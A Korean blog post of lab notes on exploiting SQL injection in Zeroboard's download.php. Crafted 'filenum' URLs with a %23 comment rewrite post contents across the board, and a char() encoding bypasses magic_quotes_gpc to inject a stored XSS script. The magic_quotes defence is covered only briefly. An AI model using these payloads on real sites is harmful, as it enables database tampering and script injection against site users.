반응형


3. 취약점 확인


저번 시간에 이어서 취약저 확인을 해보도록 하겠습니다


  - 객체에 대한 직접 참조가 가능하기 때문에


  - 입력값에 대한 변조가 쉽게 가능하다


filenum=1을 filenum=100으로 고치면 이러한 쿼리문 작용을 하는걸 볼 수 있습니다.


download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=

&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=100


->update zetyx_board_attack set download100=download100+1 where no='6'


하지만 download100이라는 컬럼이 없기떄문에 효과없는 쿼리문입니다


이렇게 값을 넣어보겠습니다

filenum=1=100


download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=

&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100


->update zetyx_board_attack set download1=100=download1=100+1 where no='6'


update zetyx_board_attack set download1=100 여기까지는 완벽하지만 뒤에가 문제이므로 주석처리로 없애버리겠습니다.


sql 주석문: --, #, /* */


download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=

&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100#


->update zetyx_board_attack set download1=100=download1=100+1 where no='6'


하지만 #이 작용하지 않았음을 볼 수 있습니다. 

! url창에는 입력 불가능한 값
 - url에서 이미 의미있게 사용되는 것들 : ?, &, #,...

 - 따라서 url encoding : 문자에 대한 헥사값
   아스키 코드와 동일한 값
   %아스키 코드값

download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=

&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100 %23


->update zetyx_board_attack set download1=100#=download1=100#+1 where no='6'




잘 바뀌었음을 알 수 있습니다.


하지만 뒤에 where 조건문도 다 주석처리가 되어서 모든 게시물의 download1이 100으로 바꿔졌음을 알 수 있습니다



[실습]


 - 게시글 본문의 내용을 다음과 같이 바꿀 수 있도록 쿼리를 조작하면 됩니다.

  "Hello, SQL Injection"


download.php?

id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=

&prev_no=&select_arrange=headnum&desc=asc&no=6&filenum=1=100, memo="Hello, SQL Injection!" %23


-> update zetyx_board_attack set download1=100, memo="Hello, SQL Injection!" #=download1=100, memo="Hello, SQL Injection!" #+1 where no='1'



잘 바뀐걸 알 수 있습니다.



SQL injection 차단 방법


1). numeric SQL injection



2). string SQL injection


 - php 5.3까지만 사용가능

(perfomance 때문에 5.4부터는 사라짐)

 - magic_quotes_GPC 설정


#>vi /etc/php.ini 

745번째 줄 magic_quotes_GPC= On으로 바꿉니다



http://192.168.12.241/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=1&filenum=1=100,memo="hihihi"%23


이렇게 입력을 했지만 아까와 다르게 \ \가 삽입된걸 알수 있습니다



\'는 문자열 그대로 인식하기때문에 쿼리문이 작동을 하지 않습니다


특수문자마다 \를 붙여줍니다.


하지만 이 옵션이 켜져 있어도 numeric SQL injection은 가능합니다.



* 우회기법


1. 문자열을 입력할 때 꼭 ',"을 사용해야 하는가?

 - 네


2. 문자열을 표현할 수 있는 또 다른 방법?


해결: mysql 내장 함수 char()를 써보자


아스키 코드를 알고 써보자




[실습]


 -magic_quotes_gpc 설정이 켜져있는 상태에서

  우회해서 다음과 같은 값으로 게시글을 변조 


  <script> alert('xss'); </script>


*아스키 코드로 변환 -파이썬으로 테스트


[60,115,99,114,105,112,116,62,32,97,108,101,114,116,40,39,120,115,115,39,41,59,32, 60,47,115,99,114,105,112,116,62]




* 실제 테스트 - 웹상


http://192.168.12.241/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=1&filenum=1=100, memo=char(60,115,99,114,105,112,116,62,32,97,108,101,114,116,40,39,120,115,115,39,41,59,32, 60,47,115,99,114,105,112,116,62) %23




잘 작동됨을 확인 할 수 있습니다.

  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기